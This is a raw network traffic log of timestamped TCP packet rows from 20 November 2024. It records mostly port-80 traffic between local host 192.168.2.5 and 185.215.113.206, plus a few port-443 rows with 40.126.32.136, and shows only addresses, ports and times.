Nov 20, 2024 00:19:27.253711939 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.253745079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.253751040 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.253786087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.253802061 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.253823996 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.253832102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.253859043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.253865004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.253890038 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.253904104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.253930092 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.253942966 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.253976107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.253993988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.254018068 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.254030943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254065037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254102945 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254113913 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.254137039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254146099 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.254189968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254194975 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.254234076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.254288912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254328966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.254350901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254362106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254376888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254389048 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.254409075 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.254424095 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.254447937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254460096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254470110 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254496098 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.254523993 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.254523993 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254537106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254549026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254560947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254573107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254575014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.254594088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254606009 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.254607916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254631996 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.254657984 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.254681110 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254693031 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254704952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254715919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254720926 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.254740000 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.254771948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254781008 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.254785061 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254798889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.254818916 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.254837990 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.464178085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464247942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464283943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464318991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.464323044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464338064 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464370966 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464371920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.464400053 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.464425087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464448929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.464457989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464471102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.464498997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.464509010 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464541912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464559078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.464576006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464613914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464627028 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.464627028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464653969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.464684963 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464694023 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.464720964 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464752913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464772940 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.464797974 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.464804888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464838028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464850903 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.464884996 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.464885950 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464920998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464936972 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.464956045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.464963913 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.464999914 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465013027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465056896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465064049 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465099096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465131998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465135098 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465153933 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465166092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465183020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465199947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465221882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465233088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465272903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465287924 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465310097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465328932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465356112 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465362072 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465392113 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465404987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465425014 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465436935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465480089 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465512037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465518951 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465542078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465545893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465553999 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465579987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465593100 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465614080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465626955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465641975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465667963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465686083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465696096 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465723038 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465751886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465785027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465785027 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465811014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465818882 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465840101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465852976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465862989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465887070 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465902090 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465920925 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.465931892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465965033 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.465972900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466006041 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466018915 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.466039896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466072083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466101885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.466124058 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.466128111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466160059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466175079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.466192961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466202974 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.466236115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.466243029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466299057 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466311932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.466331005 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466346979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.466370106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466386080 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.466403008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466435909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466449976 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.466470003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466480017 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.466504097 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466517925 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.466533899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466561079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.466568947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466588020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.466602087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466614962 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.466634989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466650963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.466670036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466692924 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.466702938 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466725111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.466736078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.466751099 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.466795921 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467176914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467231989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467238903 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467276096 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467282057 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467331886 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467336893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467371941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467384100 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467405081 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467422962 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467439890 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467452049 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467473984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467487097 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467508078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467521906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467540979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467554092 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467575073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467590094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467608929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467619896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467642069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467657089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467684984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467696905 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467717886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467726946 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467751026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467760086 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467786074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467794895 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467818975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467827082 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467853069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467866898 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467886925 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467895031 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467916012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467930079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467948914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467957973 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.467982054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.467993021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.468012094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468029022 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.468046904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468056917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.468080044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468086004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.468113899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468125105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.468147993 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.468148947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468233109 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468338966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.468348026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468379974 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468400955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.468424082 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.468430042 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468462944 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468477011 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.468496084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468512058 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.468528986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468540907 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.468564987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468579054 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.468599081 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468611002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.468632936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468636990 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.468666077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468677044 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.468699932 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468704939 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.468739986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.468800068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468836069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468868017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468882084 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.468905926 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.468914032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468935013 CET	443	62100	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:27.468947887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468971014 CET	443	62100	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:27.468981981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.468996048 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469006062 CET	443	62100	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:27.469021082 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469032049 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469054937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469058037 CET	62100	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:27.469082117 CET	443	62100	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:27.469094038 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469099045 CET	62100	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:27.469105959 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469110966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469110966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469137907 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469146013 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469172001 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469187975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469197989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469223022 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469233036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469266891 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469275951 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469310045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469333887 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469342947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469361067 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469379902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469386101 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469413996 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469425917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469449997 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469455957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469485998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469499111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469521046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469538927 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469554901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469563961 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469588995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469603062 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469621897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469654083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469665051 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469690084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469698906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469723940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469733000 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469757080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469777107 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469789028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469822884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469836950 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469856024 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469867945 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469890118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469897032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469923019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.469933033 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469965935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.469969034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.470001936 CET	80	49762	185.215.113.206	192.168.2.5
